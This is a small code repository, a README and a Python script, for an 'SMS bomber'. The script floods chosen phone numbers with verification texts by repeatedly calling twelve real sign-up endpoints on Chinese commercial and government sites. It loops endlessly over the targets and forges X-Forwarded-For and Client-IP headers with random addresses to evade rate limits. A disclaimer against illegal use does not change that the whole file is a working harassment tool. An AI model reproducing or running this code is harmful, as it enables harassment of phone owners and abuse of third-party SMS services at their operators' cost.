├── README.md └── SMS.py /README.md: -------------------------------------------------------------------------------- 1 | # SMS_Bomber 2 | 短信轰炸机,可以给定多个手机号,疯狂发送验证码。This is a short message bomber. 3 | 4 | **不可用于非法用途,使用本程序所产生的后果,与本人概不相关。** 5 | 6 | 本项目的源码来自:https://github.com/WindrunnerMax/Boom/blob/master/SMS.py 7 | 本人在其基础上进行了一定的优化,使其可以进行多个手机号的轰炸。 8 | -------------------------------------------------------------------------------- /SMS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 不可用于非法用途,使用本程序所产生的后果,与本人概不相关。 4 | 5 | import requests 6 | import re 7 | import threading 8 | import os 9 | import random 10 | import socket 11 | import struct 12 | import time 13 | 14 | #API接口初始化,按照手机号生成不同的网址 15 | def initAPI(phone): 16 | # 短信接口API 请求间隔时间 备注 请求方式 请求参数 需要SESSION的先决请求URL以及Referer 17 | APIList = [ 18 | ["https://login.ceconline.com/thirdPartLogin.do", 60, "世界经理人", "POST", 19 | {"mobileNumber": phone, "method": "getDynamicCode", "verifyType": "MOBILE_NUM_REG", "captcharType": "", 20 | "time": str(int(time.time() * 1000))}, ""], 21 | 22 | ["http://www.ntjxj.com/InternetWeb/SendYzmServlet", 120, "机动车手机绑定", "POST", {"sjhm": phone}, 23 | "http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"], 24 | 25 | ["https://www.itjuzi.com/api/verificationCodes", 60, "IT橘子", "POST", {"account": phone}, ""], 26 | 27 | ["http://yifatong.com/Customers/gettcode", 60, "易法通", "GET", 28 | {"rnd": ("%0.3f" % (time.time())), "mobile": phone}, 29 | "http://yifatong.com/Customers/registration?url="], 30 | 31 | ["http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login", 60, "天津企业登记", "POST", 32 | {'MOBILENO': phone, 'TEMP': 1}, 33 | ""], 34 | 35 | ["http://www.shijiebang.com/a/mobile/vcode/", 120, "世界邦", "GET", {'key': phone}, 36 | "http://www.shijiebang.com/reg/"], 37 | 38 | [ 39 | "http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=", 40 | 60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"], 41 | 42 | ["http://www.homekoo.com/zhixiao/zt_baoming_ajax_pc_new.php", 180, "尚品宅配", "POST", 43 | {"action": "OK", "username": "吕布", "tel": phone, "qq": "", "province": "", "city": "", "kehu_tel_time": "", 44 | "tg_id": "296", "sp_type": "986", "num_id": "5", 45 | "zhuanti_pages": "http://www.homekoo.com/zhixiao/cuxiao/index.php", "prevurl": ""}, 46 | "http://www.homekoo.com/zhixiao/cuxiao/index.php"], 47 | 48 | ["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858"}, 49 | "http://jrh.financeun.com/Login/jrwLogin?web=jrw"], 50 | 51 | ["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 52 | 30, 53 | "迪卡侬", "POST", {"countryCode": "CN", "mobile": phone}, "https://www.decathlon.com.cn/zh/create"], 54 | 55 | ["http://cta613.org/sendsms.php", 60, "支教", "POST", {"y": "1", "sj": phone}, ""], 56 | 57 | ["http://sns.qnzs.youth.cn/ajax/passportSendSms", 120, "青年之声", "POST", {"mobile": phone}, 58 | "http://sns.qnzs.youth.cn/user/passport"] 59 | ] 60 | return APIList 61 | 62 | # 短信初始化 63 | class initSMS(object): 64 | """docstring for initSMS""" 65 | 66 | def __init__(self): 67 | super(initSMS, self).__init__() 68 | self.SMSList = [] 69 | self.intervalInfo = 0 70 | 71 | def initBomb(self,APIList): 72 | for x in APIList: 73 | self.intervalInfo += 1 74 | self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo)) 75 | return self.SMSList 76 | 77 | 78 | class SMSObject(object): 79 | """docstring for SMSObject""" # __var 私有成员变量 80 | 81 | def __init__(self, url, interval, info, method, params, others, intervalInfo): 82 | super(SMSObject, self).__init__() 83 | self.__url = url 84 | self.__interval = interval 85 | self.__info = info 86 | self.__intervalInfo = intervalInfo 87 | self.__method = method 88 | self.__params = params 89 | self.__others = others 90 | 91 | def getUrl(self): 92 | return self.__url 93 | 94 | def getInfo(self): 95 | return self.__info 96 | 97 | def getParams(self): 98 | return self.__params 99 | 100 | def getMethod(self): 101 | return self.__method 102 | 103 | def getOthers(self): 104 | return self.__others 105 | 106 | def getInterval(self): 107 | return self.__interval 108 | 109 | def getintervalInfo(self): 110 | return self.__intervalInfo 111 | 112 | def setintervalInfo(self, intervalInfo): 113 | self.__intervalInfo = intervalInfo 114 | 115 | 116 | class Bomb(object): 117 | """docstring for Bomb""" 118 | 119 | def __init__(self): 120 | super(Bomb, self).__init__() 121 | self.HEADERS = { 122 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36', 123 | 'Referer': 'http://10.13.0.1', 124 | 'accept-encoding': 'gzip, deflate, br', 125 | 'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2', 126 | 'cache-control': 'max-age=0', 127 | "X-Requested-With": "XMLHttpRequest" 128 | } 129 | 130 | def send(self, SMS): 131 | # return "SUCCESS" 132 | IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) 133 | self.HEADERS['X-FORWARDED-FOR'] = IP 134 | self.HEADERS['CLIENT-IP'] = IP 135 | try: 136 | session = requests.Session() 137 | if SMS.getOthers() != "": 138 | session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS) 139 | self.HEADERS['Referer'] = SMS.getOthers() 140 | if SMS.getMethod() == "GET": 141 | req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS) 142 | else: 143 | req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS) 144 | # print(req.url) 145 | except Exception as e: 146 | return str(e) 147 | return "已发送" 148 | 149 | 150 | 151 | if __name__ == '__main__': 152 | # 手机号列表,如 ["12345678987","98765432123"] 153 | phoneList=[] 154 | bombNum=1 155 | while True: # 死循环 156 | currTime=0 157 | print("\n第",bombNum,"次轰炸!!!","\n") 158 | bombNum+=1 159 | for phone in phoneList: #遍历每个手机号 160 | APIList=initAPI(phone) # API接口初始化 161 | print("\n电话:", phone) 162 | SMSList = initSMS().initBomb(APIList=APIList) 163 | switchOn = Bomb() 164 | i = 0 165 | currTime = 0 166 | while True: 167 | currTime += 1 168 | # print(currTime) 169 | for x in SMSList: 170 | if x.getintervalInfo() == 0: 171 | i += 1 172 | info = switchOn.send(x) 173 | print(str(i) + "." + x.getInfo() + " " + info) 174 | x.setintervalInfo(x.getInterval()) 175 | else: 176 | x.setintervalInfo(x.getintervalInfo() - 1) 177 | time.sleep(5) #设置两次轰炸的间隔时间,单位是秒 178 | if i==len(APIList): 179 | break 180 | --------------------------------------------------------------------------------